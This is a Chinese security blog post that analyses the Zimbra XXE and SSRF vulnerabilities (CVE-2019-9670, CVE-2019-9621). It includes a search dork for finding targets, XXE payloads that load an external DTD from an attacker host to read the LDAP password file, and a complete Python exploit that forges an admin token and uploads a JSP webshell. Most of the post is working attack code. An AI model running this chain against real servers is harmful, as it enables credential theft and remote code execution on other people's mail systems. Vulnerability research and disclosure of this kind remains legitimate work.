MENU

Zimbra邮件系统漏洞分析与利用

May 14, 2019 • Read: 48 • 安全阅读设置

0x01 漏洞概述

Zimbra Collaboration Suite是美国Zimbra公司的一款开源协同办公套件。该产品包括WebMail、日历、通信录等。近日,国外安全研究人员Tint0在博客中披露了一个针对Zimbra 邮件系统进行综合利用来达到远程代码执行效果的漏洞(CVE-2019-9621 CVE-2019-9670)。此漏洞的主要利用手法是通过XXE(XML 外部实体注入)漏洞读取localconfig.xml配置文件来获取Zimbra admin ldap password,接着通过SOAP AuthRequest 认证得到Admin Authtoken,最后使用全局管理令牌通过ClientUploader扩展上传Webshell到Zimbra服务器,从而实现通过Webshell来达到远程代码执行效果。
  • 影响版本
Zimbra< 7.11 版本中,攻击者可以在无需登录的情况下,实现远程代码执行。
Zimbra< 8.11 版本中,在服务端使用 Memcached 做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行。
  • CVE编号
CVE-2019-9670
CVE-2019-9621
  • 公开时间
2019-03-13
  • 组件Dork
app:"Zimbra"
/help/zh_CN/standard/version.htm

0x02 漏洞分析

  • CVE-2019-9670

踩着前人脚步定位到漏洞发生在AutoDiscoverServlet.java文件下doPost类

public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        ZimbraLog.clearContext();

        addRemoteIpToLoggingContext(req);

        .....

        String email = null;

        String responseSchema = null;

        try {

            DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance();

            DocumentBuilder docBuilder = docBuilderFactory.newDocumentBuilder();

            Document doc = docBuilder.parse(new InputSource(new StringReader(content)));

            NodeList nList = doc.getElementsByTagName("Request");



            for (int i = 0; i < nList.getLength(); i++) {

                Node node = nList.item(i);

                if (node.getNodeType() == Node.ELEMENT_NODE) {

                    Element element = (Element) node;

                    email = getTagValue("EMailAddress", element);

                    responseSchema = getTagValue("AcceptableResponseSchema", element);



                    if (email != null)

                        break;

                }

            }

        } catch (Exception e) {

            log.warn("cannot parse body: %s", content);

            sendError(resp, HttpServletResponse.SC_BAD_REQUEST, "Body cannot be parsed");

            return;

        }

        //Return an error if there's no email address specified!

        if (email == null || email.length() == 0) {

            log.warn("No Email address is specified in the Request, %s", content);

            sendError(resp, HttpServletResponse.SC_BAD_REQUEST, "No Email address is specified in the Request");

            return;

        }

        //Return an error if the response schema doesn't match ours!

        String client = req.getHeader("User-Agent");

        if (responseSchema != null && responseSchema.length() > 0) {



         if (!isEwsClient(client) && !responseSchema.equals(NS_MOBILE)) {

             log.warn("Requested response schema not available " + responseSchema);

             sendError(resp, HttpServletResponse.SC_SERVICE_UNAVAILABLE,

                     "Requested response schema not available " + responseSchema);

             return;

         } else if (isEwsClient(client) && !responseSchema.equals(NS_OUTLOOK)) {

             log.warn("Requested response schema not available " + responseSchema);

             sendError(resp, HttpServletResponse.SC_SERVICE_UNAVAILABLE,

                     "Requested response schema not available " + responseSchema);

             return;
         }

        }

查看该类下对Request中标签解析验证的部分代码可知其逻辑是先遍历获取子标签EMailAddressAcceptableResponseSchema,然后判断发现EMailAddress邮箱如果不存在就直接如下400报错,

如果邮箱存在就跳出进行验证AcceptableResponseSchema是否正确,如果不正确直接返回其内容和报错信息。因此发现可控参数AcceptableResponseSchema无论正确与否均会返回解析的内容给前端,所以只需要构造要执行解析命令交给AcceptableResponseSchema即可。反向结合解析所需的标签构造如下XML文件并执行


<?xml version="1.0" standalone="yes"?>  



<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/hostname" >]>

    <Request>

      <EMailAddress>aaaaa</EMailAddress>

      <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>

    </Request>


XXE命令执行没问题,此时还希望读取存放Ldap账号密码的localconfig.xml配置文件,为接下来的SSRF请求中的token做准备。由于读取的是XML文件,因此需要加上CDATA标签作为文本读取,且XXE不能内部实体进行拼接,所以需要使用外部dtd。构造dtd如下:


<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">

<!ENTITY % start "<![CDATA[">

<!ENTITY % end "]]>">

<!ENTITY % all "<!ENTITY xxe '%start;%file;%end;'>">

构造请求如下:


<?xml version="1.0" standalone="yes"?>  



<!DOCTYPE Autodiscover [

        <!ENTITY % dtd SYSTEM "http://attacker.com/dtd">

        %dtd;

        %all;

        ]>

    <Request>

        <EMailAddress>aaaaa</EMailAddress>

        <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>

    </Request>


至此CVE-2019-9670复现成功,利用XXE获取到localconfig.xml账号信息得到Token。

  • CVE-2019-9621

Zimbra使用Memcached来做缓存,会把请求的信息转发给缓存服务器。查看代码ProxyServlet.java文件第216行发现 String target = req.getParameter(TARGET_PARAM);,即参数target是可控未做限制,即构造ssrf伪造目标。但Zimbra是通过Token来验证用户的权限,所以只有获取到Token然后ssrf才可以高权限访问。
通过查看如下代码发现并不需要admin权限token也可以进入if判断, 所以结合上面的XXE获取到的LADP账号密码即可先构造一个低权限token后然后再构造admin权限soap请求获取高权限token后,直接文件上传获取Shell。

private void doProxy(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    ZimbraLog.clearContext();
    boolean isAdmin = isAdminRequest(req);
    AuthToken authToken = isAdmin ?
            getAdminAuthTokenFromCookie(req, resp, true) : getAuthTokenFromCookie(req, resp, true);
    if (authToken == null) {
        String zAuthToken = req.getParameter(QP_ZAUTHTOKEN);
        if (zAuthToken != null) {
            try {
                authToken = AuthProvider.getAuthToken(zAuthToken);
                if (authToken.isExpired()) {
                    resp.sendError(HttpServletResponse.SC_UNAUTHORIZED, "authtoken expired");
                    return;
                }
                if (isAdmin && !authToken.isAdmin()) {
                    resp.sendError(HttpServletResponse.SC_UNAUTHORIZED, "permission denied");
                    return;
                }
            } catch (AuthTokenException e) {
                resp.sendError(HttpServletResponse.SC_UNAUTHORIZED, "unable to parse authtoken");
                return;
            }
        }
    }
    if (authToken == null) {
        resp.sendError(HttpServletResponse.SC_UNAUTHORIZED, "no authtoken cookie");
        return;
    }

通过XXE获取的zimbra_admin_namezimbra_ldap_password进行登陆,获取一个低权限Token,

然后请求https://xxxx.com/service/proxy?target=https://127.0.0.1:7071/service/admin/soap,修改Cookie,设置Key为ZM_ADMIN_AUTH_TOKEN,值为上面请求所获取的token。需要注意的是发送的soap请求AuthRequest的xmlns要修改为
urn:zimbraAdmin,否则获取的还是普通权限的Token。
至此CVE-2019-9621高权限SSRF请求完成,通过访问/service/extension/clientUploader/upload接口进行文件上传获取shell。


0x03 漏洞利用

# -*- coding:utf-8 -*-
# !/usr/bin/env python
# Zimbra_XxeToSsrf_Exp@Coco413.py
"""
upload dtd
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

python Zimbra_XxeToSsrf_Exp@Coco413.py http://example.com
"""

import re
import sys
import requests
import traceback
import warnings

reload(sys)
sys.setdefaultencoding('utf-8')
requests.packages.urllib3.disable_warnings()
warnings.filterwarnings("ignore")


def getZimbraAccount(test_url, dtd_url="https://k8gege.github.io/zimbra.dtd"):
    username, password = "", ""
    xxe_data = r"""<!DOCTYPE Autodiscover [
            <!ENTITY % dtd SYSTEM "{dtd}">
            %dtd;
            %all;
            ]>
    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
        <Request>
            <EMailAddress>aaaaa</EMailAddress>
            <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
        </Request>
    </Autodiscover>""".format(dtd=dtd_url)
    try:
        r = requests.post(test_url + "/Autodiscover/Autodiscover.xml", data=xxe_data,
                          headers={"Content-Type": "application/xml"}, verify=False, timeout=15)
        if 'response schema not available' not in r.text:
            print "[x] Not Found CVE-2019-9670 XXE Vuln"
        pattern_name = re.compile(
            r"&lt;key name=(\"|&quot;)zimbra_user(\"|&quot;)&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;")
        pattern_password = re.compile(
            r"&lt;key name=(\"|&quot;)zimbra_ldap_password(\"|&quot;)&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;")
        username = pattern_name.findall(r.text)[0][2]
        password = pattern_password.findall(r.text)[0][2]
    except IndexError:
        pass
    except:
        traceback.print_exc()
    finally:
        return username, password


def authZimbraAccount(test_url):
    auth_body = """<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">
               <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
           </context>
       </soap:Header>
       <soap:Body>
         <AuthRequest xmlns="{xmlns}">
            <account by="adminName">{username}</account>
            <password>{password}</password>
         </AuthRequest>
       </soap:Body>
    </soap:Envelope>
    """
    admin_token = ""
    try:
        username, password = getZimbraAccount(test_url)
        if username and password:
            print "[!] Found Zimbra Account:{},{}".format(username, password)
            r = requests.post(test_url + "/service/soap",
                              data=auth_body.format(xmlns="urn:zimbraAccount", username=username, password=password),
                              verify=False)
            pattern_auth_token = re.compile(r"<authToken>(.*?)</authToken>")
            headers = {
                "Content-Type": "application/xml",
                "Cookie": "ZM_ADMIN_AUTH_TOKEN=" + pattern_auth_token.findall(r.text)[0] + ";",
                "Host": "foo:7071"
            }
            r2 = requests.post(test_url + "/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",
                               data=auth_body.format(xmlns="urn:zimbraAdmin", username=username, password=password),
                               headers=headers,
                               verify=False)
            admin_token = pattern_auth_token.findall(r2.text)[0]
            print "[!] Found Zimbra Admin Token:{}".format(admin_token)
    except:
        traceback.print_exc()
    finally:
        return admin_token


def main(test_url, fileContent, fileName):
    uploadfile = {
        'filename1': (None, "whocare", None),
        'clientFile': (fileName, fileContent, "text/plain"),
        'requestId': (None, "12", None),
    }
    try:
        admin_token = authZimbraAccount(test_url)
        if admin_token:
            requests.post(test_url + "/service/extension/clientUploader/upload", files=uploadfile,
                          headers={"Cookie": "ZM_ADMIN_AUTH_TOKEN=" + admin_token + ";"},
                          verify=False)
            print "[✓] WebShell address:\n{} {}\n".format(test_url + "/downloads/{}".format(fileName),
                                                          "ZM_ADMIN_AUTH_TOKEN=" + admin_token + ";")
            text = requests.get(test_url + "/downloads/{}".format(fileName),
                                headers={"Cookie": "ZM_ADMIN_AUTH_TOKEN=" + admin_token + ";"}, verify=False).text
            print "[✓] Webshell address response:\n{}".format(text)
        else:
            print "[x] Not Found CVE-2019-9621 SSRF Vuln"
    except IndexError:
        print "[!] input target url to check(CVE-2019-9621、CVE-2019-9670)"
    except:
        traceback.print_exc()


if __name__ == "__main__":
    jsp_content, jsp_name = r'<%out.println("love");%>', "shell.jsp"
    test_url = sys.argv[1]
    main(test_url.rstrip("/"), jsp_content, jsp_name)


0x04 漏洞修复

Zimbra官方下载最新版本进行修复:https://wiki.zimbra.com/wiki/Zimbra_Releases


0x05 漏洞参考

Zimbra邮件服务器利用XXE漏洞与SSRF完成对目标的文件上传与远程代码执行
《A Saga of Code Executions on Zimbra》RCE分析+复现过程